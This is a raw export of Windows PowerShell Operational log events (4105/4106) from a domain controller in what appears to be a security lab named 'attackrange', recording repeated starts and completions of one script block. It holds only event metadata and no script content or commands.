Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469007
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469006
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469005
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469004
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469003
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469002
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469001
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469000
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468999
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468998
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468997
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468996
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468995
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468994
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468993
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468992
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468991
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468990
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468989
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468988
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468987
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468986
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468985
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468984
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468983
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468982
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468981
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468980
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468979
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468978
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468977
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468976
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468975
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468974
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468973
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468972
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468971
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468970
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468969
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468968
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468967
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468966
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468965
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468964
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468963
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468962
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468961
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468960
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468959
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468958
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468957
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468956
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468955
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468954
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468953
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
